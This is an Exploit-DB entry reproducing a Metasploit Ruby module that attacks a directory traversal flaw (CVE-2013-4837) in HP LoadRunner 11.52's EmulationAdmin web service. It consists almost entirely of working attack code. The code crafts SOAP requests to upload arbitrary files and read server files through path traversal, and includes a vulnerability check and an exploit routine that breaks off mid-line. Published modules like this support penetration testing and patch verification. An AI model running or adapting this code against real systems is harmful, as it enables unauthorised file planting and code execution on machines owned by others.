Exploit-DB #30209
Description: HP LoadRunner EmulationAdmin - Web Service Directory Traversal (Metasploit)
Type: remote
Platform: windows
Date: 2013-12-11
Author: Metasploit

Exploit:
##
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'
require 'rexml/document'

class Metasploit3 < Msf::Exploit::Remote
  Rank = ExcellentRanking

  HttpFingerprint = { :pattern => [ /Apache-Coyote\/1\.1/ ] }

  include REXML
  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::FileDropper

  def initialize(info = {})
    super(update_info(info,
      'Name'        => 'HP LoadRunner EmulationAdmin Web Service Directory Traversal',
      'Description' => %q{
        This module exploits a directory traversal vulnerability on the version 11.52 of HP
        LoadRunner. The vulnerability exists on the EmulationAdmin web service, specifically
        in the copyFileToServer method, allowing to upload arbitrary files. This module has
        been tested successfully on HP LoadRunner 11.52 over Windows 2003 SP2.
      },
      'Author'       =>
        [
          'rgod <rgod[at]autistici.org>', # Vulnerability Discovery
          'juan vazquez' # Metasploit module
        ],
      'License'     => MSF_LICENSE,
      'References'  =>
        [
          [ 'CVE', '2013-4837' ],
          [ 'OSVDB', '99231' ],
          [ 'BID', '63475' ],
          [ 'ZDI', '13-259' ],
          [ 'URL', 'https://h20566.www2.hp.com/portal/site/hpsc/public/kb/docDisplay/?docId=emr_na-c03969437' ]
        ],
      'Privileged'  => true,
      'Platform'    => 'win',
      'Arch'        => ARCH_JAVA,
      'Targets'     =>
        [
          [ 'HP LoadRunner 11.52', { } ],
        ],
      'DefaultTarget'  => 0,
      'DisclosureDate' => 'Oct 30 2013'))

    register_options(
      [
        Opt::RPORT(8080),
        # By default files dropped into C:\windows\system32\null\
        OptInt.new('DEPTH', [ true, 'Traversal Depth (to reach the root folder)', 3 ]),
        # By default HP LoadRunner installed on C:\Program Files\HP\LoadRunner
        OptString.new('INSTALLPATH', [ true, 'HP LoadRunner Install Path (from the root folder)', "Program Files\\HP\\LoadRunner" ])
      ], self.class)
  end

  def get_soap_request(action, opts={})
    path_param     = opts[:path]
    contents_param = opts[:contents]

    se_name = ''
    case action
    when :upload
      se_name = 'ser:copyFileToServer'
    when :read
      se_name = 'ser:getFileContentAsLines'
    end

    xml = Document.new
    xml.add_element(
      "soapenv:Envelope",
      {
        'xmlns:xsi'     => "http://www.w3.org/2001/XMLSchema-instance",
        'xmlns:xsd'     => "http://www.w3.org/2001/XMLSchema",
        'xmlns:soapenv' => "http://schemas.xmlsoap.org/soap/envelope/",
        'xmlns:ser'     => "http://service.emulation.ws.mercury.com"
      })
    xml.root.add_element("soapenv:Header")
    xml.root.add_element("soapenv:Body")
    body = xml.root.elements[2]
    body.add_element(
      se_name,
      {
        'soapenv:encodingStyle' => "http://schemas.xmlsoap.org/soap/encoding/"
      })
    ser = body.elements[1]
    ser.add_element("in0", {'xsi:type' => 'xsd:int'})
    ser.elements['in0'].text = 30000 + rand(30000)
    ser.add_element("in1", {'xsi:type' => 'xsd:string'})
    ser.elements['in1'].text = path_param

    if action == :upload
      ser.add_element("in2", {'xsi:type' => "xsd:base64Binary"})
      ser.elements['in2'].text = Rex::Text.encode_base64(contents_param)
    end

    xml.to_s
  end

  def check
    depth = datastore['DEPTH']
    install_path = datastore['INSTALLPATH']

    print_status("#{peer} - Detecting tomcat version...")
    tomcat_version = get_tomcat_version

    if tomcat_version
      print_status("#{peer} - Tomcat #{tomcat_version} detected... Verifying traversal...")
      location = ""
      location << install_path
      location << "\\" unless install_path.ends_with("\\") or install_path.ends_with("/")
      location << "apache-tomcat-#{tomcat_version}\\webapps\\ServiceEmulation"

      res = read_file(depth, location, "index.jsp")

      if res and res.code == 200  and res.body.to_s =~ /HP Service Emulation/
        print_good("#{peer} - Traversal exists and parameters are correct...")
        return Exploit::CheckCode::Vulnerable
      elsif res and res.code == 500 and res.body.to_s =~ /FileNotFoundException/
        print_warning("#{peer} - Traversal appears to exist, try adjusting parameters DEPTH and INSTALLPATH...")
        return Exploit::CheckCode::Appears
      else
        print_status("#{peer} - Failed to verify the directory traversal...")
      end
    else
      print_error("#{peer} - Tomcat version not detected...")
    end

    print_status("#{peer} - Checking if the vulnerable web service and method exist...")
    res = send_request_cgi({
      'uri'    => normalize_uri('ServiceEmulation', 'services', 'EmulationAdmin'),
      'vars_get' => { 'wsdl' => 1 }
    })

    if res and res.code == 200 and res.body.to_s =~ /wsdl.*EmulationAdmin/ and res.body.to_s =~ /copyFileToServerRequest/
      return Exploit::CheckCode::Detected
    end

    return Exploit::CheckCode::Safe
  end

  def exploit
    depth = datastore['DEPTH']
    install_path = datastore['INSTALLPATH']

    print_status("#{peer} - Retrieving the Tomcat version used...")
    tomcat_version = get_tomcat_version

    if tomcat_version.nil?
      fail_with(Failure::NoTarget, "#{peer} - Failed to retrieve the Tomcat version used")
    else
      print_good("#{peer} - Tomcat #{tomcat_version} found")
    end

    print_status("#{peer} - Verifying parameters to exploit the directory traversal...")
    brute_force = false
    location = ""
    location << install_path
    location << "\\" unless install_path.ends_with("\\") or install_path.ends_with("/")
    location << "apache-tomcat-#{tomcat_version}\\webapps\\ServiceEmulation"

    res = read_file(depth, locat